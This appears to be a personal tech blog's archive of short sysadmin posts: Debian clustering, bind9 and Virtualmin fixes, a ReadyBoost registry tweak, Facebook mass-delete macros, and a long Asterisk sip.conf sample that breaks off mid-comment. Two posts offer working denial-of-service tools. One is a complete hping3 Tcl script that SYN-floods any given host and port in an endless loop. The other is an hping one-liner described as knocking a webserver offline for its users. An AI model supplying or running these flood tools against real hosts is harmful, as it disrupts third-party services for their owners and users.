Simple Technology, LLC Blog

clear facebook timeline script / clean facebook timeline wall / clean facebook wall

2012-01-31T11:56:00.000-08:00

clear facebook timeline script / clean facebook timeline wall / clean facebook wall

http://astojanov.wordpress.com/2012/01/02/facebook-timeline-automatically-delete-all-status-updates-wall-posts-comments-ever-made/

super computer clustering

2011-12-04T23:10:00.000-08:00

By tomorrow, or the next day, I will have a 4 cluster Debian Linux network running with fail over load balancer I built, and then once that's done, I'm going to build a SAN/NAS with Debian on another machine, and then use DRBD with an ocfs2 file system on it for supreme synchronization. I wish the damned flooding in Taiwan didn't jack up prices of hard drives so much though, so I could get that NAS/SAN's SATA drives cheaper. :( I'm also monitoring my network via the load balancer with Gangila, and Corosync/Pacemaker now, too.

BOOOO YAHHHH!!!!!!!!!!!!!!!!

Plus, all my webmin/usermin shit is linked together in a cluster formation, too. Sweeeeetnesssss.........

Now, if I had like 2,000 machines, I could build a super cluster ( cloud ), super computer. :)

synflood script

2011-07-25T10:51:00.001-07:00

# (c) GPL2 fluxist(at)gmail.com
# Usage; hping3 exec ./synflood.htcl

if {$argc < 2} {
puts "Required arguments: hostname dstport"
exit 1
}

foreach {hostname port} $argv break
set srcport 14000
set target [hping resolve $hostname]
set myaddr [hping outifa $target]

puts "Synflooding $target..."

while {1} {
hping send "ip(saddr=$myaddr,daddr=$target)+tcp(sport=$srcport,dport=$port,flags=s)"
}

How to check bind9 config.

2011-07-04T19:33:00.001-07:00

Check bind9 config with the following command; named-checkconf -z

2011-06-24T04:40:00.001-07:00

Warning: Malicious use of SYN-floods are punishable by law.

This post shows howto to establish a synflood attack on an arbitrary remote host. The attack is performed using hping, which is free packet generator and analyzer for the TCP/IP protocol. Hping is one of the de facto tools for security auditing and testing of firewalls and networks. A syn-flood attack is basically a DOS-attack on a bug in TCP – some will argue that TCP is defective by design ;)

The actual attack is initialized by this command:

hping -i u1 -S -p 80 dst-host-or-ip

In most cases DoS attacks like this one renders a webserver totally unable to serve any requests from users.

To get hping installed on a Debian or Ubuntu-based system, type this to install:

aptitude install hping2

Windows Server 2008 R2 remoteapp printer redirection

2011-05-13T11:17:00.000-07:00

To setup Windows Server 2008 R2 remoteapp printer redirection is her; http://social.technet.microsoft.com/Forums/en/winserverTS/thread/2551c41c-7c81-4809-b993-c97bbbe7b6f9

Suexec is enabled in the default template, but the suexec command was not found on your system.

2011-01-19T03:31:00.001-08:00

PROBLEM with virtualmin:

Suexec is enabled in the default template, but the suexec command was not found on your system.

HOW TO FIX:

apt-get install apache2-suexec-custom
cd /etc/apache2/suexec
vi www-data
replace the line "/var/www" with "/home" (without "" )
restart apache

Windows 7 readyboost used to work, and not doesn't.

2011-01-09T21:33:00.000-08:00

Windows 7 readyboost used to work, and now doesn't work anymore?

Try this:

edit the registry, back up first!!

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\EMDMgmt

Remove all the sub values (they look like folders) that are there. They usually are in the form:

_??_USBSTOR#Disk&Ven_Multi&Prod_Flash_Reader&Rev_1.00#058F0O1111B&0#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}BOOST_1517140716]

You may have several of these.

Then re-insert the flash memory stick.

Re-open regedit and change the following values in the memory stick settings Vista has just created.

"CacheSizeInMB"=dword:000003c0
"CacheStatus"=dword:00000001

"DeviceStatus"=dword:00000002

Then close regedit and right-click the memory stick drive from "my computer". Go to the ReadyBoost tab and set the cache size as you like.

That's it. Enjoy

Import mysql database command line

2010-11-24T14:00:00.000-08:00

Have an issue with your mysql database being too large to import through phpmyadmin? You can run this command and import for the command line!

mysql -u username -p -h localhost data-base-name < data.sql

find and replace file contents in debian

2010-11-16T20:30:00.000-08:00

find and replace file contents in debian

`find /home/seanbrady/public_html/clients -name \*.\* -exec sed -i 's/\&new/new/g' {} \;`

Delete all facebook groups

2010-11-06T20:06:00.001-07:00

Want to delete all your facebook groups? Simply create, and run a macro:

VERSION BUILD=6111228 RECORDER=FX <– note that this line will be different if you have a different version of imacros
TAB T=1
SET !ERRORIGNORE YES
SET !TIMEOUT 100
SET !DIALOGMANAGER NO
TAG POS=1 TYPE=A ATTR=TXT:LeaveGroup
TAG POS=1 TYPE=INPUT:BUTTON ATTR=NAME:remove&&VALUE:Remove
WAIT SECONDS=2

Delete all facebook wall posts

2010-11-06T20:05:00.001-07:00

If you want to delete all facebook wall posts; simple make a macro script:

VERSION BUILD=6111228 RECORDER=FX
TAB T=1
SET !ERRORIGNORE YES
SET !TIMEOUT 100
SET !DIALOGMANAGER NO
TAG POS=1 TYPE=SPAN ATTR=TXT:Remove
TAG POS=1 TYPE=INPUT:BUTTON ATTR=NAME:delete_story&&VALUE:Delete
WAIT SECONDS=3
TAG POS=1 TYPE=SPAN ATTR=TXT:Remove
TAG POS=1 TYPE=INPUT:BUTTON ATTR=NAME:delete_story&&VALUE:Delete
WAIT SECONDS=3
TAG POS=1 TYPE=SPAN ATTR=TXT:Remove
TAG POS=1 TYPE=INPUT:BUTTON ATTR=NAME:delete_story&&VALUE:Delete
WAIT SECONDS=3
TAG POS=1 TYPE=SPAN ATTR=TXT:Remove
TAG POS=1 TYPE=INPUT:BUTTON ATTR=NAME:delete_story&&VALUE:Delete
WAIT SECONDS=3
TAG POS=1 TYPE=SPAN ATTR=TXT:Remove
TAG POS=1 TYPE=INPUT:BUTTON ATTR=NAME:delete_story&&VALUE:Delete
WAIT SECONDS=3
REFRESH

How to invite all friends facebook. Send request to all friends facebook.

2010-11-05T00:08:00.000-07:00

Easy. When you have the friends window open. Enter this into your brower's address bar, and press enter, and wait. Then, send your requests.

javascript:elms=document.getElementById('friends').getElementsByTagName('li');for(var fid in elms){if(typeof elms[fid] === 'object'){fs.click(elms[fid]);}}

Asterisk + Vonage configuration file

2010-09-12T21:30:00.000-07:00

Here is my current Asterisk + Vonage configuration for a SIP setup with 2 soft phones.

SIP.conf ---------------

;
; SIP Configuration example for Asterisk
;
; SIP dial strings
;-----------------------------------------------------------
; In the dialplan (extensions.conf) you can use several
; syntaxes for dialing SIP devices.
; SIP/devicename
; SIP/username@domain (SIP uri)
; SIP/username[:password[:md5secret[:authname[:transport]]]]@host[:port]
; SIP/devicename/extension
;
;
; Devicename
; devicename is defined as a peer in a section below.
;
; username@domain
; Call any SIP user on the Internet
; (Don't forget to enable DNS SRV records if you want to use this)
;
; devicename/extension
; If you define a SIP proxy as a peer below, you may call
; SIP/proxyhostname/user or SIP/user@proxyhostname
; where the proxyhostname is defined in a section below
; This syntax also works with ATA's with FXO ports
;
; SIP/username[:password[:md5secret[:authname]]]@host[:port]
; This form allows you to specify password or md5secret and authname
; without altering any authentication data in config.
; Examples:
;
; SIP/*98@mysipproxy
; SIP/sales:topsecret::account02@domain.com:5062
; SIP/12345678::bc53f0ba8ceb1ded2b70e05c3f91de4f:myname@192.168.0.1
;
; All of these dial strings specify the SIP request URI.
; In addition, you can specify a specific To: header by adding an
; exclamation mark after the dial string, like
;
; SIP/sales@mysipproxy!sales@edvina.net
;
; CLI Commands
; -------------------------------------------------------------
; Useful CLI commands to check peers/users:
; sip show peers Show all SIP peers (including friends)
; sip show registry Show status of hosts we register with
;
; sip set debug on Show all SIP messages
;
; module reload chan_sip.so Reload configuration file
;
;------- Naming devices ------------------------------------------------------
;
; When naming devices, make sure you understand how Asterisk matches calls
; that come in.
; 1. Asterisk checks the SIP From: address username and matches against
; names of devices with type=user
; The name is the text between square brackets [name]
; 2. Asterisk checks the From: addres and matches the list of devices
; with a type=peer
; 3. Asterisk checks the IP address (and port number) that the INVITE
; was sent from and matches against any devices with type=peer
;
; Don't mix extensions with the names of the devices. Devices need a unique
; name. The device name is *not* used as phone numbers. Phone numbers are
; anything you declare as an extension in the dialplan (extensions.conf).
;
; When setting up trunks, make sure there's no risk that any From: username
; (caller ID) will match any of your device names, because then Asterisk
; might match the wrong device.
;
; Note: The parameter "username" is not the username and in most cases is
; not needed at all. Check below. In later releases, it's renamed
; to "defaultuser" which is a better name, since it is used in
; combination with the "defaultip" setting.
;-----------------------------------------------------------------------------

; ** Deprecated configuration options **
; The "call-limit" configuation option is deprecated. It still works in
; this version of Asterisk, but will disappear in the next version.
; You are encouraged to use the dialplan groupcount functionality
; to enforce call limits instead of using this channel-specific method.
;
; You can still set limits per device in sip.conf or in a database by using
; "setvar" to set variables that can be used in the dialplan for various limits.

[general]
context=default ; Default context for incoming calls
;allowguest=no ; Allow or reject guest calls (default is yes)
;match_auth_username=yes ; if available, match user entry using the
; 'username' field from the authentication line
; instead of the From: field.
allowoverlap=no ; Disable overlap dialing support. (Default is yes)
;allowtransfer=no ; Disable all transfers (unless enabled in peers or users)
; Default is enabled. The Dial() options 't' and 'T' are not
; related as to whether SIP transfers are allowed or not.
;realm=mydomain.tld ; Realm for digest authentication
; defaults to "asterisk". If you set a system name in
; asterisk.conf, it defaults to that system name
; Realms MUST be globally unique according to RFC 3261
; Set this to your host name or domain name
udpbindaddr=0.0.0.0 ; IP address to bind UDP listen socket to (0.0.0.0 binds to all)
; Optionally add a port number, 192.168.1.1:5062 (default is port 5060)

;
; Note that the TCP and TLS support for chan_sip is currently considered
; experimental. Since it is new, all of the related configuration options are
; subject to change in any release. If they are changed, the changes will
; be reflected in this sample configuration file, as well as in the UPGRADE.txt file.
;
tcpenable=no ; Enable server for incoming TCP connections (default is no)
tcpbindaddr=0.0.0.0 ; IP address for TCP server to bind to (0.0.0.0 binds to all interfaces)
; Optionally add a port number, 192.168.1.1:5062 (default is port 5060)

;tlsenable=no ; Enable server for incoming TLS (secure) connections (default is no)
;tlsbindaddr=0.0.0.0 ; IP address for TLS server to bind to (0.0.0.0) binds to all interfaces)
; Optionally add a port number, 192.168.1.1:5063 (default is port 5061)
; Remember that the IP address must match the common name (hostname) in the
; certificate, so you don't want to bind a TLS socket to multiple IP addresses.
; For details how to construct a certificate for SIP see
; http://tools.ietf.org/html/draft-ietf-sip-domain-certs

;tlscertfile=asterisk.pem ; Certificate file (*.pem only) to use for TLS connections
; default is to look for "asterisk.pem" in current directory

;tlscafile=
; If the server your connecting to uses a self signed certificate
; you should have their certificate installed here so the code can
; verify the authenticity of their certificate.

;tlscadir=
; A directory full of CA certificates. The files must be named with
; the CA subject name hash value.
; (see man SSL_CTX_load_verify_locations for more info)

;tlsdontverifyserver=[yes|no]
; If set to yes, don't verify the servers certificate when acting as
; a client. If you don't have the server's CA certificate you can
; set this and it will connect without requiring tlscafile to be set.
; Default is no.

;tlscipher=
; A string specifying which SSL ciphers to use or not use
; A list of valid SSL cipher strings can be found at:
; http://www.openssl.org/docs/apps/ciphers.html#CIPHER_STRINGS

srvlookup=yes ; Enable DNS SRV lookups on outbound calls
; Note: Asterisk only uses the first host
; in SRV records
; Disabling DNS SRV lookups disables the
; ability to place SIP calls based on domain
; names to some other SIP users on the Internet
; Specifying a port in a SIP peer definition or
; when dialing outbound calls will supress SRV
; lookups for that peer or call.

;pedantic=yes ; Enable checking of tags in headers,
; international character conversions in URIs
; and multiline formatted headers for strict
; SIP compatibility (defaults to "no")

; See qos.tex or Quality of Service section of asterisk.pdf for a description of these parameters.
;tos_sip=cs3 ; Sets TOS for SIP packets.
;tos_audio=ef ; Sets TOS for RTP audio packets.
;tos_video=af41 ; Sets TOS for RTP video packets.
;tos_text=af41 ; Sets TOS for RTP text packets.

;cos_sip=3 ; Sets 802.1p priority for SIP packets.
;cos_audio=5 ; Sets 802.1p priority for RTP audio packets.
;cos_video=4 ; Sets 802.1p priority for RTP video packets.
;cos_text=3 ; Sets 802.1p priority for RTP text packets.

;maxexpiry=3600 ; Maximum allowed time of incoming registrations
; and subscriptions (seconds)
;minexpiry=60 ; Minimum length of registrations/subscriptions (default 60)
;defaultexpiry=120 ; Default length of incoming/outgoing registration
;mwiexpiry=3600 ; Expiry time for outgoing MWI subscriptions
;qualifyfreq=60 ; Qualification: How often to check for the
; host to be up in seconds
; Set to low value if you use low timeout for
; NAT of UDP sessions
;qualifygap=100 ; Number of milliseconds between each group of peers being qualified
;qualifypeers=1 ; Number of peers in a group to be qualified at the same time
;notifymimetype=text/plain ; Allow overriding of mime type in MWI NOTIFY
;buggymwi=no ; Cisco SIP firmware doesn't support the MWI RFC
; fully. Enable this option to not get error messages
; when sending MWI to phones with this bug.
;vmexten=voicemail ; dialplan extension to reach mailbox sets the
; Message-Account in the MWI notify message
; defaults to "asterisk"
;disallow=all ; First disallow all codecs
;allow=ulaw ; Allow codecs in order of preference
;allow=ilbc ; see doc/rtp-packetization for framing options
;
; This option specifies a preference for which music on hold class this channel
; should listen to when put on hold if the music class has not been set on the
; channel with Set(CHANNEL(musicclass)=whatever) in the dialplan, and the peer
; channel putting this one on hold did not suggest a music class.
;
; This option may be specified globally, or on a per-user or per-peer basis.
;
;mohinterpret=default
;
; This option specifies which music on hold class to suggest to the peer channel
; when this channel places the peer on hold. It may be specified globally or on
; a per-user or per-peer basis.
;
;mohsuggest=default
;
;parkinglot=plaza ; Sets the default parking lot for call parking
; This may also be set for individual users/peers
; Parkinglots are configured in features.conf
;language=en ; Default language setting for all users/peers
; This may also be set for individual users/peers
;relaxdtmf=yes ; Relax dtmf handling
;trustrpid = no ; If Remote-Party-ID should be trusted
;sendrpid = yes ; If Remote-Party-ID should be sent
;prematuremedia=no ; Some ISDN links send empty media frames before
; the call is in ringing or progress state. The SIP
; channel will then send 183 indicating early media
; which will be empty - thus users get no ring signal.
; Setting this to "no" will stop any media before we have
; call progress. Default is "yes".

;progressinband=never ; If we should generate in-band ringing always
; use 'never' to never use in-band signalling, even in cases
; where some buggy devices might not render it
; Valid values: yes, no, never Default: never
;useragent=Asterisk PBX ; Allows you to change the user agent string
; The default user agent string also contains the Asterisk
; version. If you don't want to expose this, change the
; useragent string.
;sdpsession=Asterisk PBX ; Allows you to change the SDP session name string, (s=)
; Like the useragent parameter, the default user agent string
; also contains the Asterisk version.
;sdpowner=root ; Allows you to change the username field in the SDP owner string, (o=)
; This field MUST NOT contain spaces
;promiscredir = no ; If yes, allows 302 or REDIR to non-local SIP address
; Note that promiscredir when redirects are made to the
; local system will cause loops since Asterisk is incapable
; of performing a "hairpin" call.
;usereqphone = no ; If yes, ";user=phone" is added to uri that contains
; a valid phone number
;dtmfmode = rfc2833 ; Set default dtmfmode for sending DTMF. Default: rfc2833
; Other options:
; info : SIP INFO messages (application/dtmf-relay)
; shortinfo : SIP INFO messages (application/dtmf)
; inband : Inband audio (requires 64 kbit codec -alaw, ulaw)
; auto : Use rfc2833 if offered, inband otherwise

;compactheaders = yes ; send compact sip headers.
;
;videosupport=yes ; Turn on support for SIP video. You need to turn this
; on in this section to get any video support at all.
; You can turn it off on a per peer basis if the general
; video support is enabled, but you can't enable it for
; one peer only without enabling in the general section.
; If you set videosupport to "always", then RTP ports will
; always be set up for video, even on clients that don't
; support it. This assists callfile-derived calls and
; certain transferred calls to use always use video when
; available. [yes|NO|always]

;maxcallbitrate=384 ; Maximum bitrate for video calls (default 384 kb/s)
; Videosupport and maxcallbitrate is settable
; for peers and users as well
;callevents=no ; generate manager events when sip ua
; performs events (e.g. hold)
;authfailureevents=no ; generate manager "peerstatus" events when peer can't
; authenticate with Asterisk. Peerstatus will be "rejected".
;alwaysauthreject = yes ; When an incoming INVITE or REGISTER is to be rejected,
; for any reason, always reject with an identical response
; equivalent to valid username and invalid password/hash
; instead of letting the requester know whether there was
; a matching user or peer for their request. This reduces
; the ability of an attacker to scan for valid SIP usernames.

;g726nonstandard = yes ; If the peer negotiates G726-32 audio, use AAL2 packing
; order instead of RFC3551 packing order (this is required
; for Sipura and Grandstream ATAs, among others). This is
; contrary to the RFC3551 specification, the peer _should_
; be negotiating AAL2-G726-32 instead :-(
;outboundproxy=proxy.provider.domain ; send outbound signaling to this proxy, not directly to the devices
;outboundproxy=proxy.provider.domain:8080 ; send outbound signaling to this proxy, not directly to the devices
;outboundproxy=proxy.provider.domain,force ; Send ALL outbound signalling to proxy, ignoring route: headers
;outboundproxy=tls://proxy.provider.domain ; same as '=proxy.provider.domain' except we try to connect with tls
; ; (could also be tcp,udp) - defining transports on the proxy line only
; ; applies for the global proxy, otherwise use the transport= option
;matchexterniplocally = yes ; Only substitute the externip or externhost setting if it matches
; your localnet setting. Unless you have some sort of strange network
; setup you will not need to enable this.

;dynamic_exclude_static = yes ; Disallow all dynamic hosts from registering
; as any IP address used for staticly defined
; hosts. This helps avoid the configuration
; error of allowing your users to register at
; the same address as a SIP provider.

;contactdeny=0.0.0.0/0.0.0.0 ; Use contactpermit and contactdeny to
;contactpermit=172.16.0.0/255.255.0.0 ; restrict at what IPs your users may
; register their phones.

; The shrinkcallerid function removes '(', ' ', ')', non-trailing '.', and '-' not
; in square brackets. For example, the caller id value 555.5555 becomes 5555555
; when this option is enabled. Disabling this option results in no modification
; of the caller id value, which is necessary when the caller id represents something
; that must be preserved. This option can only be used in the [general] section.
; By default this option is on.
;
;shrinkcallerid=yes ; on by default

;
; If regcontext is specified, Asterisk will dynamically create and destroy a
; NoOp priority 1 extension for a given peer who registers or unregisters with
; us and have a "regexten=" configuration item.
; Multiple contexts may be specified by separating them with '&'. The
; actual extension is the 'regexten' parameter of the registering peer or its
; name if 'regexten' is not provided. If more than one context is provided,
; the context must be specified within regexten by appending the desired
; context after '@'. More than one regexten may be supplied if they are
; separated by '&'. Patterns may be used in regexten.
;
;regcontext=sipregistrations
;regextenonqualify=yes ; Default "no"
; If you have qualify on and the peer becomes unreachable
; this setting will enforce inactivation of the regexten
; extension for the peer
;
;--------------------------- SIP timers ----------------------------------------------------
; These timers are used primarily in INVITE transactions.
; The default for Timer T1 is 500 ms or the measured run-trip time between
; Asterisk and the device if you have qualify=yes for the device.
;
;t1min=100 ; Minimum roundtrip time for messages to monitored hosts
; Defaults to 100 ms
;timert1=500 ; Default T1 timer
; Defaults to 500 ms or the measured round-trip
; time to a peer (qualify=yes).
;timerb=32000 ; Call setup timer. If a provisional response is not received
; in this amount of time, the call will autocongest
; Defaults to 64*timert1

;--------------------------- RTP timers ----------------------------------------------------
; These timers are currently used for both audio and video streams. The RTP timeouts
; are only applied to the audio channel.
; The settings are settable in the global section as well as per device
;
;rtptimeout=60 ; Terminate call if 60 seconds of no RTP or RTCP activity
; on the audio channel
; when we're not on hold. This is to be able to hangup
; a call in the case of a phone disappearing from the net,
; like a powerloss or grandma tripping over a cable.
;rtpholdtimeout=300 ; Terminate call if 300 seconds of no RTP or RTCP activity
; on the audio channel
; when we're on hold (must be > rtptimeout)
;rtpkeepalive= ; Send keepalives in the RTP stream to keep NAT open
; (default is off - zero)

;--------------------------- SIP Session-Timers (RFC 4028)------------------------------------
; SIP Session-Timers provide an end-to-end keep-alive mechanism for active SIP sessions.
; This mechanism can detect and reclaim SIP channels that do not terminate through normal
; signaling procedures. Session-Timers can be configured globally or at a user/peer level.
; The operation of Session-Timers is driven by the following configuration parameters:
;
; * session-timers - Session-Timers feature operates in the following three modes:
; originate : Request and run session-timers always
; accept : Run session-timers only when requested by other UA
; refuse : Do not run session timers in any case
; The default mode of operation is 'accept'.
; * session-expires - Maximum session refresh interval in seconds. Defaults to 1800 secs.
; * session-minse - Minimum session refresh interval in seconds. Defualts to 90 secs.
; * session-refresher - The session refresher (uac|uas). Defaults to 'uas'.
;
;session-timers=originate
;session-expires=600
;session-minse=90
;session-refresher=uas
;
;--------------------------- HASH TABLE SIZES ------------------------------------------------
; For maximum efficiency, adjust the following
; values to be slightly larger than the maximum number of in-memory objects (devices).
; Too large, and space is wasted. Too small, and things will run slower.
; 563 is probably way too big for small (home) applications, but it
; should cover most small/medium sites.
; It is recommended to make the sizes be a prime number!
; This was internally set to 17 for small-memory applications...
; All tables default to 563, except when compiled in LOW_MEMORY mode,
; in which case, they default to 17. You can override this by uncommenting
; the following, and changing the values.
;hash_users=563
;hash_peers=563
;hash_dialogs=563

;--------------------------- SIP DEBUGGING ---------------------------------------------------
;sipdebug = yes ; Turn on SIP debugging by default, from
; the moment the channel loads this configuration
;recordhistory=yes ; Record SIP history by default
; (see sip history / sip no history)
;dumphistory=yes ; Dump SIP history at end of SIP dialogue
; SIP history is output to the DEBUG logging channel

;--------------------------- STATUS NOTIFICATIONS (SUBSCRIPTIONS) ----------------------------
; You can subscribe to the status of extensions with a "hint" priority
; (See extensions.conf.sample for examples)
; chan_sip support two major formats for notifications: dialog-info and SIMPLE
;
; You will get more detailed reports (busy etc) if you have a call counter enabled
; for a device.
;
; If you set the busylevel, we will indicate busy when we have a number of calls that
; matches the busylevel treshold.
;
; For queues, you will need this level of detail in status reporting, regardless
; if you use SIP subscriptions. Queues and manager use the same internal interface
; for reading status information.
;
; Note: Subscriptions does not work if you have a realtime dialplan and use the
; realtime switch.
;
;allowsubscribe=no ; Disable support for subscriptions. (Default is yes)
;subscribecontext = default ; Set a specific context for SUBSCRIBE requests
; Useful to limit subscriptions to local extensions
; Settable per peer/user also
;notifyringing = no ; Control whether subscriptions already INUSE get sent
; RINGING when another call is sent (default: yes)
;notifyhold = yes ; Notify subscriptions on HOLD state (default: no)
; Turning on notifyringing and notifyhold will add a lot
; more database transactions if you are using realtime.
;notifycid = yes ; Control whether caller ID information is sent along with
; dialog-info+xml notifications (supported by snom phones).
; Note that this feature will only work properly when the
; incoming call is using the same extension and context that
; is being used as the hint for the called extension. This means
; that it won't work when using subscribecontext for your sip
; user or peer (if subscribecontext is different than context).
; This is also limited to a single caller, meaning that if an
; extension is ringing because multiple calls are incoming,
; only one will be used as the source of caller ID. Specify
; 'ignore-context' to ignore the called context when looking
; for the caller's channel. The default value is 'no.' Setting
; notifycid to 'ignore-context' also causes call-pickups attempted
; via SNOM's NOTIFY mechanism to set the context for the call pickup
; to PICKUPMARK.
;callcounter = yes ; Enable call counters on devices. This can be set per
; device too.

;----------------------------------------- T.38 FAX SUPPORT ----------------------------------
;
; This setting is available in the [general] section as well as in device configurations.
; Setting this to yes enables T.38 FAX (UDPTL) on SIP calls; it defaults to off.
;
; t38pt_udptl = yes ; Enables T.38 with FEC error correction.
; t38pt_udptl = yes,fec ; Enables T.38 with FEC error correction.
; t38pt_udptl = yes,redundancy ; Enables T.38 with redundancy error correction.
; t38pt_udptl = yes,none ; Enables T.38 with no error correction.
;
; In some cases, T.38 endpoints will provide a T38FaxMaxDatagram value (during T.38 setup) that
; is based on an incorrect interpretation of the T.38 recommendation, and results in failures
; because Asterisk does not believe it can send T.38 packets of a reasonable size to that
; endpoint (Cisco media gateways are one example of this situation). In these cases, during a
; T.38 call you will see warning messages on the console/in the logs from the Asterisk UDPTL
; stack complaining about lack of buffer space to send T.38 FAX packets. If this occurs, you
; can set an override (globally, or on a per-device basis) to make Asterisk ignore the
; T38FaxMaxDatagram value specified by the other endpoint, and use a configured value instead.
; This can be done by appending 'maxdatagram=' to the t38pt_udptl configuration option,
; like this:
;
; t38pt_udptl = yes,fec,maxdatagram=400 ; Enables T.38 with FEC error correction and overrides
; ; the other endpoint's provided value to assume we can
; ; send 400 byte T.38 FAX packets to it.
;
; FAX detection will cause the SIP channel to jump to the 'fax' extension (if it exists)
; based one or more events being detected. The events that can be detected are an incoming
; CNG tone or an incoming T.38 re-INVITE request.
;
; faxdetect = yes ; Default 'no', 'yes' enables both CNG and T.38 detection
; faxdetect = cng ; Enables only CNG detection
; faxdetect = t38 ; Enables only T.38 detection
; faxdetect = both ; Enables both CNG and T.38 detection (same as 'yes')
;
;----------------------------------------- OUTBOUND SIP REGISTRATIONS ------------------------
; Asterisk can register as a SIP user agent to a SIP proxy (provider)
; Format for the register statement is:
; register => [peer?][transport://]user[@domain][:secret[:authuser]]@host[:port][/extension][~expiry]
;
;
;
; domain is either
; - domain in DNS
; - host name in DNS
; - the name of a peer defined below or in realtime
; The domain is where you register your username, so your SIP uri you are registering to
; is username@domain
;
; If no extension is given, the 's' extension is used. The extension needs to
; be defined in extensions.conf to be able to accept calls from this SIP proxy
; (provider).
;
; A similar effect can be achieved by adding a "callbackextension" option in a peer section.
; this is equivalent to having the following line in the general section:
;
; register => username:secret@host/callbackextension
;
; and more readable because you don't have to write the parameters in two places
; (note that the "port" is ignored - this is a bug that should be fixed).
;
; Note that a register= line doesn't mean that we will match the incoming call in any
; other way than described above. If you want to control where the call enters your
; dialplan, which context, you want to define a peer with the hostname of the provider's
; server. If the provider has multiple servers to place calls to your system, you need
; a peer for each server.
;
; Beginning with Asterisk version 1.6.2, the "user" portion of the register line may
; contain a port number. Since the logical separator between a host and port number is a
; ':' character, and this character is already used to separate between the optional "secret"
; and "authuser" portions of the line, there is a bit of a hoop to jump through if you wish
; to use a port here. That is, you must explicitly provide a "secret" and "authuser" even if
; they are blank. See the third example below for an illustration.
;
;
; Examples:
;
;register => 1234:password@mysipprovider.com
;
; This will pass incoming calls to the 's' extension
;
;
;register => 2345:password@sip_proxy/1234
;
; Register 2345 at sip provider 'sip_proxy'. Calls from this provider
; connect to local extension 1234 in extensions.conf, default context,
; unless you configure a [sip_proxy] section below, and configure a
; context.
; Tip 1: Avoid assigning hostname to a sip.conf section like [provider.com]
; Tip 2: Use separate inbound and outbound sections for SIP providers
; (instead of type=friend) if you have calls in both directions
;
;register => 3456@mydomain:5082::@mysipprovider.com
;
; Note that in this example, the optional authuser and secret portions have
; been left blank because we have specified a port in the user section
;
;register => tls://username:xxxxxx@sip-tls-proxy.example.org
;
; The 'transport' part defaults to 'udp' but may also be 'tcp' or 'tls'.
; Using 'udp://' explicitly is also useful in case the username part
; contains a '/' ('user/name').

;registertimeout=20 ; retry registration calls every 20 seconds (default)
;registerattempts=10 ; Number of registration attempts before we give up
; 0 = continue forever, hammering the other server
; until it accepts the registration
; Default is 0 tries, continue forever
;----------------------------------------- OUTBOUND MWI SUBSCRIPTIONS -------------------------
; Asterisk can subscribe to receive the MWI from another SIP server and store it locally for retrieval
; by other phones.
; Format for the mwi register statement is:
; mwi => user[:secret[:authuser]]@host[:port][/mailbox]
;
; Examples:
;mwi => 1234:password@mysipprovider.com/1234
;
; MWI received will be stored in the 1234 mailbox of the SIP_Remote context. It can be used by other phones by following the below:
; mailbox=1234@SIP_Remote
;----------------------------------------- NAT SUPPORT ------------------------
;
; WARNING: SIP operation behind a NAT is tricky and you really need
; to read and understand well the following section.
;
; When Asterisk is behind a NAT device, the "local" address (and port) that
; a socket is bound to has different values when seen from the inside or
; from the outside of the NATted network. Unfortunately this address must
; be communicated to the outside (e.g. in SIP and SDP messages), and in
; order to determine the correct value Asterisk needs to know:
;
; + whether it is talking to someone "inside" or "outside" of the NATted network.
; This is configured by assigning the "localnet" parameter with a list
; of network addresses that are considered "inside" of the NATted network.
; IF LOCALNET IS NOT SET, THE EXTERNAL ADDRESS WILL NOT BE SET CORRECTLY.
; Multiple entries are allowed, e.g. a reasonable set is the following:
;
; localnet=192.168.0.0/255.255.0.0 ; RFC 1918 addresses
; localnet=10.0.0.0/255.0.0.0 ; Also RFC1918
; localnet=172.16.0.0/12 ; Another RFC1918 with CIDR notation
; localnet=169.254.0.0/255.255.0.0 ; Zero conf local network
;
; + the "externally visible" address and port number to be used when talking
; to a host outside the NAT. This information is derived by one of the
; following (mutually exclusive) config file parameters:
;
; a. "externip = hostname[:port]" specifies a static address[:port] to
; be used in SIP and SDP messages.
; The hostname is looked up only once, when [re]loading sip.conf .
; If a port number is not present, use the "bindport" value (which is
; not guaranteed to work correctly, because a NAT box might remap the
; port number as well as the address).
; This approach can be useful if you have a NAT device where you can
; configure the mapping statically. Examples:
;
; externip = 12.34.56.78 ; use this address.
; externip = 12.34.56.78:9900 ; use this address and port.
; externip = mynat.my.org:12600 ; Public address of my nat box.
;
; b. "externhost = hostname[:port]" is similar to "externip" except
; that the hostname is looked up every "externrefresh" seconds
; (default 10s). This can be useful when your NAT device lets you choose
; the port mapping, but the IP address is dynamic.
; Beware, you might suffer from service disruption when the name server
; resolution fails. Examples:
;
; externhost=foo.dyndns.net ; refreshed periodically
; externrefresh=180 ; change the refresh interval
;
; c. "stunaddr = stun.server[:port]" queries the STUN server specified
; as an argument to obtain the external address/port.
; Queries are also sent periodically every "externrefresh" seconds
; (as a side effect, sending the query also acts as a keepalive for
; the state entry on the nat box):
;
; stunaddr = foo.stun.com:3478
; externrefresh = 15
;
; Note that at the moment all these mechanism work only for the SIP socket.
; The IP address discovered with externip/externhost/STUN is reused for
; media sessions as well, but the port numbers are not remapped so you
; may still experience problems.
;
; NOTE 1: in some cases, NAT boxes will use different port numbers in
; the internal<->external mapping. In these cases, the "externip" and
; "externhost" might not help you configure addresses properly, and you
; really need to use STUN.
;
; NOTE 2: when using "externip" or "externhost", the address part is
; also used as the external address for media sessions.
; If you use "stunaddr", STUN queries will be sent to the same server
; also from media sockets, and this should permit a correct mapping of
; the port numbers as well.
;
; In addition to the above, Asterisk has an additional "nat" parameter to
; address NAT-related issues in incoming SIP or media sessions.
; In particular, depending on the 'nat= ' settings described below, Asterisk
; may override the address/port information specified in the SIP/SDP messages,
; and use the information (sender address) supplied by the network stack instead.
; However, this is only useful if the external traffic can reach us.
; The following settings are allowed (both globally and in individual sections):
;
; nat = no ; default. Use NAT mode only according to RFC3581 (;rport)
; nat = yes ; Always ignore info and assume NAT
; nat = never ; Never attempt NAT mode or RFC3581 support
; nat = route ; route = Assume NAT, don't send rport
; ; (work around more UNIDEN bugs)

;----------------------------------- MEDIA HANDLING --------------------------------
; By default, Asterisk tries to re-invite media streams to an optimal path. If there's
; no reason for Asterisk to stay in the media path, the media will be redirected.
; This does not really work well in the case where Asterisk is outside and the
; clients are on the inside of a NAT. In that case, you want to set directmedia=nonat.
;
;directmedia=yes ; Asterisk by default tries to redirect the
; RTP media stream to go directly from
; the caller to the callee. Some devices do not
; support this (especially if one of them is behind a NAT).
; The default setting is YES. If you have all clients
